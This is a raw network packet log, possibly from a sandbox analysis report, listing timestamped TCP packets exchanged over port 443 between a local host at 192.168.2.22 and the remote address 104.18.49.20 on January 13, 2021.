Jan 13, 2021 13:44:30.229851007 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.229932070 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.230439901 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.230469942 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.230540037 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.231506109 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.231527090 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.231612921 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.232661009 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.232681990 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.232769966 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.233727932 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.233758926 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.233863115 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.234812975 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.234838963 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.234915018 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.235944986 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.235966921 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.236068964 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.236980915 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.237004995 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.237071991 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.238039017 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.238058090 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.238153934 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.239145994 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.239162922 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.239255905 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.240187883 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.240211964 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.240283012 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.241264105 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.241283894 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.241355896 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.242547989 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.242568970 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.242645979 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.243415117 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.243434906 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.243514061 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.244532108 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.244559050 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.244640112 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.245632887 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.245662928 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.245744944 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.246714115 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.246735096 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.246808052 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.247786999 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.247808933 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.247886896 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.248912096 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.248931885 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.249000072 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.249946117 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.249974012 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.250046015 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.251023054 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.251049042 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.251126051 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.252089024 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.252111912 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.252182007 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.253237009 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.253263950 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.253359079 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.275120020 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.275557995 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.275726080 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.324707031 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.324739933 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.324893951 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.324904919 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.324923038 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.325515032 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.325525045 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.325551033 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.325614929 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.325984001 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.326005936 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.326087952 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.326384068 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.326406956 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.326481104 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.326989889 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.327008009 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.327076912 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.327646971 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.327685118 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.327756882 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.328682899 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.328705072 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.328778982 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.328977108 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.328994989 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.329082012 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.330574036 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.330598116 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.330677986 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.330861092 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.330879927 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.330943108 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.331267118 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.331294060 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.332025051 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.332050085 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.332113028 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.332536936 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.332556009 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.332634926 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.333218098 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.333239079 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.333314896 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.333865881 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.333889961 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.333961964 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.334595919 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.334615946 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.334688902 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.335231066 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.335261106 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.335349083 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.335939884 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.335961103 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.336036921 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.336513996 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.336544991 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.336613894 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.337215900 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.337240934 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.337456942 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.337950945 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.337976933 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.338037968 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.338486910 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.338512897 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.338830948 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.339186907 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.339206934 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.339265108 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.339880943 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.339907885 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.339977026 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.340467930 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.340491056 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.340557098 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.370726109 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.370754004 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.370851040 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.371345997 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.371371984 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.371439934 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.371742010 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.371758938 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.371824980 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.372284889 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.372307062 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.372375011 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.372915030 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.372936964 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.373004913 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.373646975 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.373676062 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.373800993 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.374525070 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.374547005 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.374619007 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.376398087 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.376422882 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.376496077 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.376719952 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.376743078 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.376872063 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.377768993 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.377789021 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.377866030 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.378092051 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.378113031 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.378177881 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.378751040 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.378767967 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.378834009 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.379456997 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.379484892 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.379555941 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.380059004 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.380080938 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.380145073 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.380666971 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.380698919 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.380759954 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.381453991 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.381474018 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.381546974 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.382095098 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.382116079 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.382181883 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.382672071 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.422760963 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.422791004 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.422816038 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.422911882 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.423002958 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.423072100 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.423090935 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.423094034 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.423118114 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.423187971 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.423995018 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.424015999 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.424035072 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.424102068 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.424953938 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.424977064 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.425000906 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.425036907 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.425879955 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.425899982 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.425923109 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.425952911 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.426008940 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.426780939 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.426800013 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.426821947 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.426867008 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.427727938 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.427751064 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.427771091 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.427833080 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.427853107 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.428713083 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.428734064 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.428755045 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.428821087 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.429632902 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.429671049 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.429694891 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.429742098 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.430501938 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.430524111 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.430557013 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.430567980 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.430630922 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.431433916 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.431458950 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.431480885 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.431514025 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.432369947 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.432396889 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.432420969 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.432490110 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.433346033 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.433366060 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.433408022 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.433424950 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.433475018 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.434206009 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.434230089 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.434253931 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.434293032 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.435152054 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.435169935 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.435200930 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.435241938 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.436079979 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.436108112 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.436131001 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.436178923 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.437273026 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.437292099 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.437313080 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.437360048 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.438024044 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.438045979 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.438064098 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.438112020 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.438873053 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.438896894 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.438921928 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.438937902 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.438990116 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.439868927 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.439898014 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.439917088 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.439956903 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.440713882 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.440736055 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.440756083 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.440803051 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.441705942 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.441725016 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.441754103 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.441782951 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.442584038 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.442603111 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.442625999 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.442661047 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.443515062 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.443541050 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.443562031 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.443609953 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.444452047 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.444475889 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.444497108 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.444549084 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.445513010 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.445533037 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.445554972 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.445580006 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.445647001 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.446366072 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.446475029 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.446492910 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.446549892 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.447236061 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.447254896 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.447271109 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.447329998 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.448231936 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.448257923 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.448278904 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.448339939 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.449147940 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.449172020 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.449192047 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.449213982 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.449255943 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.450028896 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.450047016 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.450067043 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.450113058 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.450972080 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.450993061 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.451015949 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.451054096 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.451931953 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.451961994 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.451986074 CET	443	49174	104.18.49.20	192.168.2.22
